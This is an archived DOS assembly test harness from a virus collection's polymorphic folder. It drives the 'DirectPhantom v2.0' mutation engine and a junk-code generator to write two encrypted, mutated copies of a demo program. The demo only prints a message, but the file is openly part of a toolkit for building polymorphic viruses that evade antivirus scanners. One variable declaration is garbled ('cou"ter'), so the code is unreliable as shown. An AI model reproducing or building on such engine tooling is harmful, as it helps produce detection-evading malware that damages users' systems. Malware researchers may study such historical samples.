home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 4 / hacker04 / 04_HACK04.ISO / virii / polimorphic / PHANT20.ZIP / PHTEST.ASM < prev    next >
Encoding:
Assembly Source File  |  1998-08-25  |  1.4 KB  |  92 lines

  1.         .486
  2.         MODEL    TINY
  3. CSEG        SEGMENT PARA PUBLIC USE16 'CODE'
  4.         ASSUME    CS:CSEG,DS:CSEG
  5.         ORG    100H
  6. START:
  7.         PUSH    CS
  8.         POP    DS
  9.  
  10.         mov    bx,1000h
  11.         mov    ah,4Ah
  12.         int    21h
  13.  
  14.         mov    ah,48h
  15.         mov    bx,40h
  16.         int    21h
  17.         mov    es,ax
  18.  
  19.         movzx    eax,ax
  20.         rol    eax,10h
  21.         mov    [TARGETPLACE],eax
  22.         mov    [RELOFFS],100h
  23.         mov    [DEST_CODE],0FFFFh
  24.         mov    [COUNTER],PrgLen
  25.  
  26.         call    PHANTOM
  27.  
  28.         mov    si,offset Demo
  29.         mov    cx,PrgLen
  30.         cld
  31.         rep    movsb
  32.  
  33.         mov    dx,offset File1
  34.         call    WrFile
  35.  
  36.         push    cs
  37.         pop    ds
  38.  
  39.         call    JuNK_DOIT
  40.  
  41.         mov    dx,offset File2
  42.         call    WrFile
  43.  
  44.         mov    ah,49h
  45.         int    21h
  46.         mov    ax,4C00h
  47.         int    21h
  48. WrFile:
  49.         mov    ah,3Ch
  50.         xor    cx,cx
  51.         int    21h
  52.  
  53.         mov    bx,ax
  54.  
  55.         mov    ah,40h
  56.         mov    cx,PrgLen
  57.         add    cx,[LenDecryptor]
  58.         lds    dx,[targetplace]
  59.         int    21h
  60.  
  61.         mov    ah,3Eh
  62.         int    21h
  63.         ret
  64.  
  65. ;----------------------------------------------------------------------------
  66. demo:
  67.         CALL    Print
  68.         DB    13,10,'DirectPhantom v2.0 with Ultimate TRASH !'
  69.         DB    13,10,'$'
  70. Print:        POP    DX
  71.         MOV    AH,9
  72.         INT    21h
  73.         MOV    AX,4C00h
  74.         INT    21h
  75. PrgLen        equ    $ - demo
  76.  
  77. file1        db 'demo1.com',0
  78. file2        db 'demo2.com',0
  79.         dq 0ffffffffffffffffh
  80. ;----------------------------------------------------------------------------
  81.  
  82. reloffs     dw 0
  83. dest_code    dw 0
  84. cou"ter     dw 0
  85. targetplace    dd 0
  86. lendecryptor    dw 0
  87.  
  88. include     phantom.asm
  89. include     trash.asm
  90.  
  91. CSEG        ENDS
  92.                 END     START